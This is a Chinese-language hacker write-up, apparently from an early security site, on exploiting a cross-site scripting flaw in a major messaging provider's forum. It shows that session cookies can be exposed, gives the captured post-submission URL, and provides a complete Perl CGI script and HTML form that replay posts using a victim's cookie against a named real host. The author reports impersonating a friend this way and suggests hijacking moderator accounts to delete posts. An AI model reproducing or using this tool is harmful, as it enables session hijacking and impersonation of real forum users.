有许多网友说跨站脚本执行漏洞没有什么价值,今天我以中国最大的即时通讯站点为例,经过观察发现个人资料栏里可以嵌入脚本,如访问下列链接:
http://bbs.******.com/cgi-bin/liuyan/bbs_ly_edit?Plogin_name=6595692
可以发现你的cookie资料。skey=D55KnKpYUm; uin=o6884**,最后就*号代替了。
我就考虑了怎么利用他来冒充别人发贴子,讨厌就讨厌在这个站点要经验值>=3才能发帖,气的我只吐血,我的经验值是-5,只能换个qq上去了,害的我等了6分钟才能进行测试。
进入**,随便找个电脑-安全版块进行测试。
找到发贴的连接,打开他的原文件,改成get 方式和绝对路径,存盘,用自己的页面随便提交了帖子。抓到如下的资料,
http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=%B4%F3%BC%D2%BA%C3%B0%A1&content=&content1=&content2=&icon_id=11&sign=1&text=%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1&type=a&messtype=&back=11&groupid=102%3A10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club=
转换一下编码方式,看的清楚点。
变成如下:
http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=大家好啊&content=&content1=&content2=&icon_id=11&sign=1&text=大家好啊大家好啊大家好啊大家好啊&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club=
老用这种方式提交不方便啊,就写了个简单的perl socket脚本如下
---------------------------------------------------------------------
#!/usr/bin/perl --
use Socket;
################################################
# DO NOT EDIT ANYTHING BEYOND THIS LINE #
################################################
#push (@INC,"../perl-lib");
#require 'cgi-lib.pl';
&ReadParse(*form_data);
$title = $form_data{'title'};
$text = $form_data{'text'};
$cookie = $form_data{'cookie'};
$host = "bbs.tencent.com";
$port = 80;
$req = "GET /cgi-bin/bbs/bbs_post_submit?title=$title&content=&content1=&content2=&icon_id=11&sign=1&text=$text&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club= HTTP/1.1\r\n".
"Host: $host\r\n".
"Accept: */*\r\n".
"Cookie: $cookie\n\n";
@re =sendraw($req);
print "Content-type: text/html\n\n";
print "@re\n";
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}
# ReadParse
# Reads in GET or POST data, converts it to unescaped text, and puts
# one key=value in each member of the list "@in"
# Also creates key/value pairs in %in, using '\0' to separate multiple
# selections
# If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse,
# information is stored there, rather than in $in, @in, and %in.
sub ReadParse {
local (*in) = @_ if @_;
local ($i, $loc, $key, $val);
# Read in text
if ($ENV{'REQUEST_METHOD'} eq "GET") {
$in = $ENV{'QUERY_STRING'};
} elsif ($ENV{'REQUEST_METHOD'} eq "POST") {
read(STDIN,$in,$ENV{'CONTENT_LENGTH'});
}
@in = split(/&/,$in);
foreach $i (0 .. $#in) {
# Convert plus's to spaces
$in[$i] =~ s/\+/ /g;
# Split into key and value.
($key, $val) = split(/=/,$in[$i],2); # splits on the first =.
# Convert %XX from hex numbers to alphanumeric
$key =~ s/%(..)/pack("c",hex($1))/ge;
$val =~ s/%(..)/pack("c",hex($1))/ge;
# Associate key and value
$in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator
$in{$key} .= $val;
}
return 1; # just for fun
}
----------------------------------------------------------------------
客户段就用下面的了
《form name="dform" action="http://www.xxxxxx.net/cgi-bin/tencent.cgi" method="post" 》
title:《input type="text" name="title" size="10"》 《br》
text: 《input type="text" name="text" size="10"> 《br》
cookie:《input type="text" name="cookie" size="10"》 《br》
<input type="submit" value="go):--"> 《br》《br》
《/form》
没办法,就用《》代替,ie要把txt 文件认为是html的。
---------------------------------------------------------------------------------------
我先用我的cookie测试发帖了,成功通过。于是马上登陆qq站点。拉了个好友1d帮助测试,结果成功的冒充1d发了帖子。
---------------------------------------------------------------------------------------
后话:
既然可以冒充人发帖子,想来冒充斑竹删帖子也不会很难吧,当然前提得要截获了斑竹的cookie,具体截获cookie部分请参考analysist的文章 跨站脚本执行漏洞详解以及跨站脚本执行漏洞详解(续)。
注意:商业转载请联系
WWW.China4lert.ORG